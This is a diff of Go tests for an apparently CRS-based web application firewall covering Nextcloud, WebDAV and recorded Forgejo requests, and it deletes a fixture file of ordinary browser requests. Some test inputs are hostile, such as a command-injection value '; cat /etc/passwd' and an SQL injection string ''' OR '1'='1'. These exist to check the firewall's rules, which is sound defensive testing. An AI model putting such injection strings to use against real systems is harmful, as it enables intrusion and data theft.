@@ -397,23 +350,11 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) {
|
|||||||
{"/apps/user_ldap/renewpassword", formData, change},
|
{"/apps/user_ldap/renewpassword", formData, change},
|
||||||
{"/index.php/apps/user_ldap/renewpassword", formData, change},
|
{"/index.php/apps/user_ldap/renewpassword", formData, change},
|
||||||
{"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
|
{"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
|
||||||
{
|
{"/index.php/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
|
||||||
"/index.php/apps/encryption/ajax/updatePrivateKeyPassword",
|
|
||||||
formData,
|
|
||||||
change,
|
|
||||||
},
|
|
||||||
{"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
|
{"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
|
||||||
{
|
{"/index.php/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
|
||||||
"/index.php/apps/encryption/ajax/changeRecoveryPassword",
|
|
||||||
formData,
|
|
||||||
recovery,
|
|
||||||
},
|
|
||||||
{"/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
|
{"/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
|
||||||
{
|
{"/index.php/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
|
||||||
"/index.php/apps/encryption/ajax/adminRecovery",
|
|
||||||
formData,
|
|
||||||
adminRecovery,
|
|
||||||
},
|
|
||||||
{"/login/confirm", jsonBody, password},
|
{"/login/confirm", jsonBody, password},
|
||||||
{"/index.php/login/confirm", formData, password},
|
{"/index.php/login/confirm", formData, password},
|
||||||
{"/lostpassword/set/AbCdEf/alice", jsonBody, password},
|
{"/lostpassword/set/AbCdEf/alice", jsonBody, password},
|
||||||
@@ -468,12 +409,7 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
|
|||||||
{jsonRequest, jsonPassword("; cat /etc/passwd")},
|
{jsonRequest, jsonPassword("; cat /etc/passwd")},
|
||||||
} {
|
} {
|
||||||
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold {
|
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold {
|
||||||
t.Errorf(
|
t.Errorf("%s %.40s refused: %+v", sent.r.headers[0], sent.body, got)
|
||||||
"%s %.40s refused: %+v",
|
|
||||||
sent.r.headers[0],
|
|
||||||
sent.body,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -488,12 +424,7 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
|
|||||||
{jsonRequest, `{"key":"email","value":"' OR '1'='1"}`},
|
{jsonRequest, `{"key":"email","value":"' OR '1'='1"}`},
|
||||||
} {
|
} {
|
||||||
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold {
|
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold {
|
||||||
t.Errorf(
|
t.Errorf("%s %.40s let through: %+v", sent.r.headers[0], sent.body, got)
|
||||||
"%s %.40s let through: %+v",
|
|
||||||
sent.r.headers[0],
|
|
||||||
sent.body,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -521,12 +452,7 @@ func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
|
|||||||
|
|
||||||
document := "Backup steps:\n\n" + nextcloudCodeBlock
|
document := "Backup steps:\n\n" + nextcloudCodeBlock
|
||||||
|
|
||||||
request, score := nextcloudBodyScore(
|
request, score := nextcloudBodyScore(t, readingBodies(t), nextcloudDocument, document)
|
||||||
t,
|
|
||||||
readingBodies(t),
|
|
||||||
nextcloudDocument,
|
|
||||||
document,
|
|
||||||
)
|
|
||||||
if score >= nextcloudThreshold {
|
if score >= nextcloudThreshold {
|
||||||
t.Errorf("%s refused: %d", request, score)
|
t.Errorf("%s refused: %d", request, score)
|
||||||
}
|
}
|
||||||
@@ -573,10 +499,7 @@ func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
|
|||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
cookie := func(value string) request {
|
cookie := func(value string) request {
|
||||||
return get(
|
return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
|
||||||
"/apps/files/",
|
|
||||||
"Cookie: nc_sameSiteCookielax=true; nc_username="+value,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, value := range hardValues {
|
for _, value := range hardValues {
|
||||||
@@ -633,40 +556,20 @@ func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
|
|||||||
|
|
||||||
// MKCALENDAR only where the calendars are.
|
// MKCALENDAR only where the calendars are.
|
||||||
for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} {
|
for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} {
|
||||||
wantResult(
|
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched())
|
||||||
t,
|
|
||||||
crs,
|
|
||||||
request{nextcloudMkcalendar, target, nil},
|
|
||||||
matched(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, target := range []string{
|
for _, target := range []string{
|
||||||
nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/",
|
nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/",
|
||||||
"/x/remote.php/dav/calendars/",
|
"/x/remote.php/dav/calendars/",
|
||||||
} {
|
} {
|
||||||
wantResult(
|
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched(911100))
|
||||||
t,
|
|
||||||
crs,
|
|
||||||
request{nextcloudMkcalendar, target, nil},
|
|
||||||
matched(911100),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// PROPFIND, and no other WebDAV method, where a client asks for them.
|
// PROPFIND, and no other WebDAV method, where a client asks for them.
|
||||||
for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} {
|
for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} {
|
||||||
wantResult(
|
wantResult(t, crs, request{nextcloudPropFind, target, nil}, matched())
|
||||||
t,
|
wantResult(t, crs, request{nextcloudMkcol, target, nil}, matched(911100))
|
||||||
crs,
|
|
||||||
request{nextcloudPropFind, target, nil},
|
|
||||||
matched(),
|
|
||||||
)
|
|
||||||
wantResult(
|
|
||||||
t,
|
|
||||||
crs,
|
|
||||||
request{nextcloudMkcol, target, nil},
|
|
||||||
matched(911100),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
other := request{nextcloudPropFind, "/.well-known/other", nil}
|
other := request{nextcloudPropFind, "/.well-known/other", nil}
|
||||||
@@ -700,12 +603,7 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
|
|||||||
} {
|
} {
|
||||||
sent := described.sent
|
sent := described.sent
|
||||||
|
|
||||||
request, score := nextcloudBodyScore(
|
request, score := nextcloudBodyScore(t, crs, sent, described.description)
|
||||||
t,
|
|
||||||
crs,
|
|
||||||
sent,
|
|
||||||
described.description,
|
|
||||||
)
|
|
||||||
if score >= nextcloudThreshold {
|
if score >= nextcloudThreshold {
|
||||||
t.Errorf("%s refused: %d", request, score)
|
t.Errorf("%s refused: %d", request, score)
|
||||||
}
|
}
|
||||||
@@ -727,12 +625,7 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
|
|||||||
// An MKCOL on the calendars' paths skips only the rules for names.
|
// An MKCOL on the calendars' paths skips only the rules for names.
|
||||||
sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/"
|
sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/"
|
||||||
|
|
||||||
request, score = nextcloudBodyScore(
|
request, score = nextcloudBodyScore(t, crs, sent, described.description)
|
||||||
t,
|
|
||||||
crs,
|
|
||||||
sent,
|
|
||||||
described.description,
|
|
||||||
)
|
|
||||||
if score < nextcloudThreshold {
|
if score < nextcloudThreshold {
|
||||||
t.Errorf("%s let through: %d", request, score)
|
t.Errorf("%s let through: %d", request, score)
|
||||||
}
|
}
|
||||||
@@ -768,10 +661,7 @@ func TestNextcloudChangedEventsAndContactsPass(t *testing.T) {
|
|||||||
[]string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"},
|
[]string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"},
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
if got := inspect(t, crs, refused); !slices.Contains(
|
if got := inspect(t, crs, refused); !slices.Contains(got.RuleIDs, 920530) {
|
||||||
got.RuleIDs,
|
|
||||||
920530,
|
|
||||||
) {
|
|
||||||
t.Errorf("%s %s %q let through: %+v",
|
t.Errorf("%s %s %q let through: %+v",
|
||||||
refused.method, refused.target, refused.headers, got)
|
refused.method, refused.target, refused.headers, got)
|
||||||
}
|
}
|
||||||
@@ -812,12 +702,7 @@ func TestNextcloudUploadsAreNotReadAsFields(t *testing.T) {
|
|||||||
} {
|
} {
|
||||||
got, _ := inspectBody(t, crs, refused, upload.body)
|
got, _ := inspectBody(t, crs, refused, upload.body)
|
||||||
if got.Score < nextcloudThreshold {
|
if got.Score < nextcloudThreshold {
|
||||||
t.Errorf(
|
t.Errorf("%s %s let through: %+v", refused.method, refused.target, got)
|
||||||
"%s %s let through: %+v",
|
|
||||||
refused.method,
|
|
||||||
refused.target,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -828,13 +713,7 @@ func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
|
|||||||
|
|
||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
methods := []string{
|
methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE", "LOCK"}
|
||||||
http.MethodGet,
|
|
||||||
http.MethodPut,
|
|
||||||
nextcloudPropFind,
|
|
||||||
"MOVE",
|
|
||||||
"LOCK",
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, method := range methods {
|
for _, method := range methods {
|
||||||
for _, target := range []string{
|
for _, target := range []string{
|
||||||
@@ -922,13 +801,7 @@ func TestNextcloudExclusionsAreNarrow(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.body)
|
got, _ := inspectBody(t, crs, r, sent.body)
|
||||||
if got.Score < nextcloudThreshold {
|
if got.Score < nextcloudThreshold {
|
||||||
t.Errorf(
|
t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
|
||||||
"%s %s %s let through: %+v",
|
|
||||||
sent.method,
|
|
||||||
sent.target,
|
|
||||||
sent.body,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -125,14 +125,11 @@ func wantRecordedRequestsPass(t *testing.T, name string) {
|
|||||||
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
||||||
}
|
}
|
||||||
|
|
||||||
typed := slices.ContainsFunc(
|
typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
|
||||||
recorded.Headers,
|
name, _, _ := strings.Cut(header, ":")
|
||||||
func(header string) bool {
|
|
||||||
name, _, _ := strings.Cut(header, ":")
|
|
||||||
|
|
||||||
return strings.EqualFold(name, "Content-Type")
|
return strings.EqualFold(name, "Content-Type")
|
||||||
},
|
})
|
||||||
)
|
|
||||||
if recorded.Body == "" && !typed {
|
if recorded.Body == "" && !typed {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -152,25 +149,6 @@ func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
|||||||
wantRecordedRequestsPass(t, "drupal-requests.txt")
|
wantRecordedRequestsPass(t, "drupal-requests.txt")
|
||||||
}
|
}
|
||||||
|
|
||||||
// TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the
|
|
||||||
// defaults only. While bodies are read, the Core Rule Set still refuses the
|
|
||||||
// file and branch names some of them carry in a form or JSON body, as it does
|
|
||||||
// gitea's (TestGiteaBodiesTheCoreRuleSetRefuses).
|
|
||||||
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
||||||
|
|
||||||
crs := atDefaults(t)
|
|
||||||
|
|
||||||
for _, recorded := range recordedRequests(t, "forgejo-requests.txt") {
|
|
||||||
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
|
||||||
if got, _ := inspectBody(t, crs, r, recorded.Body); got.Score >= threshold {
|
|
||||||
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
-683
@@ -1,683 +0,0 @@
|
|||||||
# Ordinary Forgejo 17.0.1 requests that the Core Rule Set must let through at
|
|
||||||
# the defaults. They were recorded from a Forgejo driven by a headless Chrome,
|
|
||||||
# signed out, signed in and on the admin pages, by git over HTTP, by curl on
|
|
||||||
# the API and the generic package registry, and by crane on the container
|
|
||||||
# registry. Each line is one request as JSON. Names, addresses and passwords
|
|
||||||
# are invented. The browser's User-Agent is an ordinary Chrome's. A body or a
|
|
||||||
# multipart part that is not text is written as base64.
|
|
||||||
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/webcomponents.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/index.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/theme-forgejo-auto.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/index.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/logo.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/repos", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/users", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/organizations", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/forgot_password", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/sign_up", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/user/sign_up", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 91", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/sign_up", "Accept-Encoding: gzip, deflate"], "body": "user_name=bob&email=bob%40example.com&password=Wd7-kPq3-Zx8n-Rf2m&retype=Wd7-kPq3-Zx8n-Rf2m"}
|
|
||||||
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/sign_up", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US; flash=success%3DAccount%2Bwas%2Bsuccessfully%2Bcreated.%2BWelcome%2521"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Referer: http://example.com/", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/dashboard-repo-list.98057021.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/dashboard-repo-list.09995173.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?count_only=1&uid=2&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/events", "headers": ["Host: example.com", "Connection: keep-alive", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/event-stream", "Referer: http://example.com/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=2&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Frepo%2Fsearch%3Fsort%3Dupdated%26order%3Ddesc%26uid%3D2%26team_id%3Dundefined%26q%3D%26page%3D1%26limit%3D15%26mode%3D%26archived%3Dfalse"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 43", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Frepo%2Fsearch%3Fsort%3Dupdated%26order%3Ddesc%26uid%3D2%26team_id%3Dundefined%26q%3D%26page%3D1%26limit%3D15%26mode%3D%26archived%3Dfalse"], "body": "user_name=alice&password=Hv4-mQz8-Lr2x-Tp9w"}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=2&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/create", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/webcomponents.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/index.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/index.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/theme-forgejo-auto.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/logo.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
